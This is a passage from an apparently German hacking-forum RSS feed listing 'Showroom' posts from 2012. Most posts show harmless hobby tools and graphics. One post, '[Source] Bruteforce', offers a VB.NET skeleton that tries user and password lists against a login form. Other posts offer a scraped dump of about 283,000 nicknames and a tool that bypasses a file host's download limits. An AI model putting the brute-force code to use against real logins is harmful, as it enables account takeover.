			<dc:creator>Raumi</dc:creator>
			<guid isPermaLink="true">showroom-102/elegante-quotes-10355</guid>
		</item>
		<item>
			<title>Release BMI Calculator</title>
			<link>showroom-102/bmi-calculator-10338?goto=newpost</link>
			<pubDate>Fri, 06 Apr 2012 15:47:39 GMT</pubDate>
			<description><![CDATA[Joo Leute 
 
Da ich wieder ein bisschen Langeweile hatte, habe ich mich wieder mal hingesetzt und etwas für euch gebastelt. 
Es nennt sich "BMI...]]></description>
			<content:encoded><![CDATA[<div>Joo Leute<br />
<br />
Da ich wieder ein bisschen Langeweile hatte, habe ich mich wieder mal hingesetzt und etwas für euch gebastelt.<br />
Es nennt sich &quot;BMI Calculator&quot; und rechnet euren Body Mass Index aus und sagt euch, ob ihr normalgewichtig, übergewichtig oder untergewichtig seid.<br />
<br />
<font color="Red"><b>Wie funktioniert das Ganze?</b></font><br />
<br />
Also ihr tippt zu erste euer Gewicht ein z.B.: 90<br />
Danach werdet ihr aufgefordert eure Größe einzutippen. wenn ihr nun z.B 180 seid, tippt ihr 1,80 ein..<br />
<br />
<b><font color="Red">Screen:</font></b><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www0.xup.in/exec/ximg.php?fid=20332112"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a>
</div>
</div>
</div><br />
<br />
<font color="Red"><b>Download:</b></font><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
Netload.in: <a href="http://netload.in/dateigp99nYjgJ5/BMI Calculator.exe.htm" target="_blank" rel="nofollow">http://netload.in/dateigp99nYjgJ5/BM...ulator.exe.htm</a><br />
Share-Online: <a href="http://www.share-online.biz/dl/IYM8E22MTML" target="_blank" rel="nofollow">Share-Online - dl/IYM8E22MTML</a>
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Saad</dc:creator>
			<guid isPermaLink="true">showroom-102/bmi-calculator-10338</guid>
		</item>
		<item>
			<title>Backround YT-Videos</title>
			<link>showroom-102/backround-yt-videos-10127?goto=newpost</link>
			<pubDate>Mon, 02 Apr 2012 15:49:23 GMT</pubDate>
			<description>Heyheyho. :D 
Ich und ein Kollege wollten ein neuen YouTube Channel erstellen, 
in dem wir täglich neue Musikvideos hochladen, und da ich gerade...</description>
			<content:encoded><![CDATA[<div>Heyheyho. :D<br />
Ich und ein Kollege wollten ein neuen YouTube Channel erstellen,<br />
in dem wir täglich neue Musikvideos hochladen, und da ich gerade langeweile hatte wurde ich gefragt, ob ich ein Cover erstellen könnte. Es sollte schlicht gehalten sein, und nunja so habe ich es auch gemacht :D <br />
<br />
Nun wollte ich euch fragen wie es euch gefällt,<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i40.tinypic.com/n2xqna.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Einen lästigen Schwarzen Backround wollten wir nicht gerade als Backround haben, also ich finde meine Variante dann doch schon etwas edler.<br />
Bitte konstruktive Kritik da lassen, oder falls es Verbesserungsvorschläge gibt, bitte diese da lassen. <br />
<br />
Gruß</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Roxithro</dc:creator>
			<guid isPermaLink="true">showroom-102/backround-yt-videos-10127</guid>
		</item>
		<item>
			<title><![CDATA[[Source] Bruteforce]]></title>
			<link>showroom-102/source-bruteforce-31429?goto=newpost</link>
			<pubDate>Mon, 02 Apr 2012 07:07:03 GMT</pubDate>
			<description>Hallo, 
hier habt ihr das Grundgerüst für einen Bruter. 
 
 
PHP: 
--------- 
Imports System.IO 
Imports System.Net 
Imports System.Text.Encoding...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
hier habt ihr das Grundgerüst für einen Bruter.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">Encoding<br />Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Specialized<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Ein&nbsp;paar&nbsp;Deklarationen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;client&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">WebClient<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;col&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">NameValueCollection<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;url&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;response&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Textfiles&nbsp;einlesen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;userlist</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadAllLines</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;passlist</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadAllLines</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;</span><span style="color: #0000BB">Each&nbsp;user&nbsp;In&nbsp;userlist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">For&nbsp;</span><span style="color: #0000BB">Each&nbsp;pass&nbsp;In&nbsp;passlist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Name+Wert&nbsp;der&nbsp;Felder&nbsp;im&nbsp;HTML-Formular&nbsp;hinzufügen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">col</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">user</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">col</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pass</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Daten&nbsp;uploaden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">response&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ASCII</span><span style="color: #007700">.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">UploadValues</span><span style="color: #007700">(</span><span style="color: #0000BB">url</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"POST"</span><span style="color: #007700">,</span><span style="color: #0000BB">col</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch&nbsp;</span><span style="color: #0000BB">ex&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Exception<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">ex</span><span style="color: #007700">.</span><span style="color: #0000BB">Message</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">Try<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Quelltext&nbsp;nach&nbsp;Ergebnis&nbsp;durchsuchen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">response</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Erfolgreich&nbsp;eingeloggt"</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">user&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">":"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pass&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"&nbsp;-&nbsp;OWNED"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;For<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;</span><span style="color: #0000BB">response</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Falsches&nbsp;Passwort"</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">user&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">":"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pass&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"&nbsp;-&nbsp;WRONG&nbsp;PW"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;</span><span style="color: #0000BB">response</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"..."</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">user&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">":"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">pass&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"&nbsp;-&nbsp;..."</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Next<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Wie gesagt, dass ist nur der &quot;Grundcode&quot;.<br />
<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/source-bruteforce-31429</guid>
		</item>
		<item>
			<title><![CDATA[[RL] Bin ich ein Suchty?]]></title>
			<link>showroom-102/rl-bin-ich-ein-suchty-10082?goto=newpost</link>
			<pubDate>Sun, 01 Apr 2012 17:41:11 GMT</pubDate>
			<description><![CDATA[Hey Leute. 
 
Hier stelle ich euch mal mein erstes "Programm" vor. xD 
Ich hab mich nach langer Zeit mal wieder hingesetzt um zu gucken, was ich...]]></description>
			<content:encoded><![CDATA[<div>Hey Leute.<br />
<br />
Hier stelle ich euch mal mein erstes &quot;Programm&quot; vor. xD<br />
Ich hab mich nach langer Zeit mal wieder hingesetzt um zu gucken, was ich schon derweil drauf habe. <br />
Diese Konsoleanwednung habe ich nur &quot;programmiert&quot;, damit ich mit der If-Else Funktion vertrauter werde. <br />
<br />
<b><font size="4">Was kann es?</font></b><br />
<br />
Also ihr musst nur eure Onlineminutenzahl von Knuddels eingeben und die Konsolenanwendung rechnet aus, wie viele Tage ihr in Knuddels schon verschwendet hat. :P<br />
<br />
Screen:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www0.xup.in/exec/ximg.php?fid=15669092"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
VirusTotallink:<br />
<br />
<a href="https://www.virustotal.com/file/a101b5fbc35484dc1fee5a493adf943ca56dc022db8fd842cb8e1488b23f6d72/analysis/1333301980/" target="_blank" rel="nofollow">https://www.virustotal.com/file/a101...is/1333301980/</a><br />
<br />
Downloadlink:<br />
<br />
Netload: <a href="http://netload.in/dateiOYjVp6Y7rN/BIES by Saad.exe.htm" target="_blank" rel="nofollow">http://netload.in/dateiOYjVp6Y7rN/BIES by Saad.exe.htm</a><br />
<br />
Shaer-Online: <a href="http://www.share-online.biz/dl/LFMFJU1MWQM" target="_blank" rel="nofollow">http://www.share-online.biz/dl/LFMFJU1MWQM</a><br />
<br />
<br />
Viel Spaß damit.  Kommentare wie: &quot;So ein Scheiß bla bla werden reported.&quot;</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Saad</dc:creator>
			<guid isPermaLink="true">showroom-102/rl-bin-ich-ein-suchty-10082</guid>
		</item>
		<item>
			<title><![CDATA[[DB-Dump] Nickliste [DL]]]></title>
			<link>showroom-102/db-dump-nickliste-dl-9730?goto=newpost</link>
			<pubDate>Mon, 26 Mar 2012 19:06:15 GMT</pubDate>
			<description>Eigentlich war die Datenbank für ein kleines Projekt gedacht, 
jetzt gibt es sie doch zum Download. 
 
Einträge in der Datenbank: 283535 
 
Kein Nick...</description>
			<content:encoded><![CDATA[<div>Eigentlich war die Datenbank für ein kleines Projekt gedacht,<br />
jetzt gibt es sie doch zum Download.<br />
<br />
Einträge in der Datenbank: 283535<br />
<br />
Kein Nick ist doppelt.<br />
<br />
LG<br />
<br />
<a href="http://ul.to/32l74sxb" target="_blank" rel="nofollow">Download!</a><br />
<br />
alternativ: <a href="http://schmitz-dev.net/nicks/index.php" target="_blank" rel="nofollow">Online-Nickliste</a><br />
<br />
Danke an iToxic, der mir beim Sammeln geholfen hat :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/db-dump-nickliste-dl-9730</guid>
		</item>
		<item>
			<title>A.D.D. - AudioDirectDownload</title>
			<link>showroom-102/a-d-d-audiodirectdownload-9623?goto=newpost</link>
			<pubDate>Sun, 25 Mar 2012 09:17:58 GMT</pubDate>
			<description>Hey, 
 
Ich stelle euch kurz ein kleines Programm von mir vor. 
 
Bild: http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png  *Was macht das...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
Ich stelle euch kurz ein kleines Programm von mir vor.<br />
<br />
<img src="http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png" border="0" alt="" /> <b>Was macht das Programm?</b><br />
Mit A.D.D. kannst du Audiodateien von uploaded.to herunterladen.<br />
Erst einmal nichts besonderes, aber du benötigst dafür <u>keinen</u> Account.<br />
<br />
<img src="http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png" border="0" alt="" /> <b>Wie funktioniert das nun genau?</b><br />
Ich wollte mir das Lied &quot;Leider geil&quot; von Deichkind herunterladen und bei ul.to waren wiedereinmal alle Free-Kapazitäten belegt, allerdings konnte ich mir das Lied über den Preview-Button problemlos anhören. Als ich den Quelltest durchsuchte, fiel mir auf, dass man Audiodateien problemlos ohne Account herunterladen kann.<br />
<br />
<img src="http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png" border="0" alt="" /> <b>Download</b><br />
[HIDE]<a href="http://localhostr.com/file/caRKJM4/ADD.exe" target="_blank" rel="nofollow">Download @ localhostr.com</a><br />
<a href="https://www.virustotal.com/file/5c221eb5ba5a3eec293e1563f79663e8ab91cfe951dea0fd8af5bd84c8554dca/analysis/1332666787/" target="_blank" rel="nofollow">Virustotal</a>[/HIDE]<br />
<br />
<img src="http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png" border="0" alt="" /> <b>Screenshot</b><br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=5999"  title="Name:  
Hits: 
Größe:  ">Anhang 5999</a><br />
<br />
<img src="http://img7.imagebanana.com/img/qg7wr5z7/arrowtransition.png" border="0" alt="" /> <b>Sonstiges</b><br />
Verwendete Sprache: Visual Basic .NET<br />
Benötigt .NET Framework 4.<br />
<br />
<b><u>Funktioniert nur mit uploaded.to!</u></b><br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Fif</dc:creator>
			<guid isPermaLink="true">showroom-102/a-d-d-audiodirectdownload-9623</guid>
		</item>
		<item>
			<title><![CDATA[[Showroom] Facebook Chronik]]></title>
			<link>showroom-102/showroom-facebook-chronik-9461?goto=newpost</link>
			<pubDate>Wed, 21 Mar 2012 15:57:13 GMT</pubDate>
			<description>Hey, ich habe mal eine neue Facebook Chronik für mich erstellt und wollte fragen, wie ihr sie so findet?  
 
Bitte gebt eure ehrliche Meinung dazu...</description>
			<content:encoded><![CDATA[<div>Hey, ich habe mal eine neue Facebook Chronik für mich erstellt und wollte fragen, wie ihr sie so findet? <br />
<br />
Bitte gebt eure ehrliche Meinung dazu ab, damit ich sie verbessern kann etc. <br />
<br />
PS : Der weiße Balken mitten in der Chronik ist eine Zensur, in Facebook gibt es diese Zensur nicht.<br />
<br />
Hier die Chronik:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i44.tinypic.com/neais9.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Roxithro</dc:creator>
			<guid isPermaLink="true">showroom-102/showroom-facebook-chronik-9461</guid>
		</item>
		<item>
			<title>Teeworlds Server Creator (0.6.1)</title>
			<link>showroom-102/teeworlds-server-creator-0-6-1-8059?goto=newpost</link>
			<pubDate>Mon, 27 Feb 2012 14:39:28 GMT</pubDate>
			<description>_*Teeworlds Server Creator (0.6.1)*_ 
 
Hi, 
 
ich möchte mal ein kleines Tool vorstellen. Es ist nichts Besonderes, aber vielleicht kann der ein...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><br />
<br />
<u><b><font size="3">Teeworlds Server Creator (0.6.1)</font></b></u><br />
<br />
Hi,<br />
<br />
ich möchte mal ein kleines Tool vorstellen. Es ist nichts Besonderes, aber vielleicht kann der ein oder andere es gebrauchen.<br />
<br />
Es handelt sich um einen &quot;Server Creator&quot;für Teeworlds. Er erstellt im Prinzip eine config und Start Datei für einen Teeworlds Server.<br />
<br />
<b><u>Update 29.02.2012:</u></b><br />
- Votes hinzugefügt<br />
<br />
Screenshot &amp; Virustotalbericht<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://oi39.tinypic.com/jkzyh5.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<br />
<a href="https://www.virustotal.com/file/17c9efd711ec0aceb901f1177d1b21c4dd9f7951d6acc4c07cb0c63aa9c36e51/analysis/1330353116/" target="_blank" rel="nofollow"><font color="PaleGreen"><font color="Black">Virustotal:</font> 0/43</font></a><br />

</div>
</div>
</div><br />
</div><br />
<a href="http://www65.zippyshare.com/v/64276930/file.html" target="_blank" rel="nofollow">Download</a><br />
<br />
Verbesserungsvorschläge sind erwünscht :)<br />
<br />
MfG Mobilitas</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Mobilitas</dc:creator>
			<guid isPermaLink="true">showroom-102/teeworlds-server-creator-0-6-1-8059</guid>
		</item>
		<item>
			<title>Dein Zeugnis 1.0</title>
			<link>showroom-102/dein-zeugnis-1-0-31585?goto=newpost</link>
			<pubDate>Wed, 22 Feb 2012 22:34:48 GMT</pubDate>
			<description><![CDATA[Huhu KS Comy Ich Wollte euch mal mein Programm Vorstellen was aus LW  entstanden ist xD es heißt: "Dein Zeugnis 1.0" Wie ihr schonn alle kennt  gibt...]]></description>
			<content:encoded><![CDATA[<div>Huhu KS Comy Ich Wollte euch mal mein Programm Vorstellen was aus LW  entstanden ist xD es heißt: &quot;Dein Zeugnis 1.0&quot; Wie ihr schonn alle kennt  gibt es davon auch ne Facebook App/seite (<a href="http://www.facebook.com/pages/Zeugnis/347243471982049?sk=app_370878506261489" target="_blank" rel="nofollow">Zeugnis - Deiin nächstes Zeugnis | Facebook</a>) joa und ich hab es als Programm Geschrieben <img src="http://u-hacks.net/images/uhacks/smilies/icon3.png" border="0" alt="" /><br />
<br />
Screens:<br />
Nicht Benutzt:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7432&amp;d=1396584345" border="0" alt="Name:  vysetw.png
Hits: 590
Größe:  34,3 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Benutzt:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7433&amp;d=1396584391" border="0" alt="Name:  1gpyxh.png
Hits: 420
Größe:  35,4 KB" class="thumbnail" style="float:CONFIG" /><br />
______________________________________<br />
Download: <a href="http://ultrashare.net/hosting/fl/aefdc7013a/Dein_Zeugnis_1.0" target="_blank" rel="nofollow">ultrashare.NET - Simple Free File Hosting</a><br />
<br />
Have Fun ;D<br />
MfG Getsha</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7432&amp;stc=1&amp;d=1396584345" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7433&amp;stc=1&amp;d=1396584391" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>getsha</dc:creator>
			<guid isPermaLink="true">showroom-102/dein-zeugnis-1-0-31585</guid>
		</item>
		<item>
			<title>Taschenrechner</title>
			<link>showroom-102/taschenrechner-31668?goto=newpost</link>
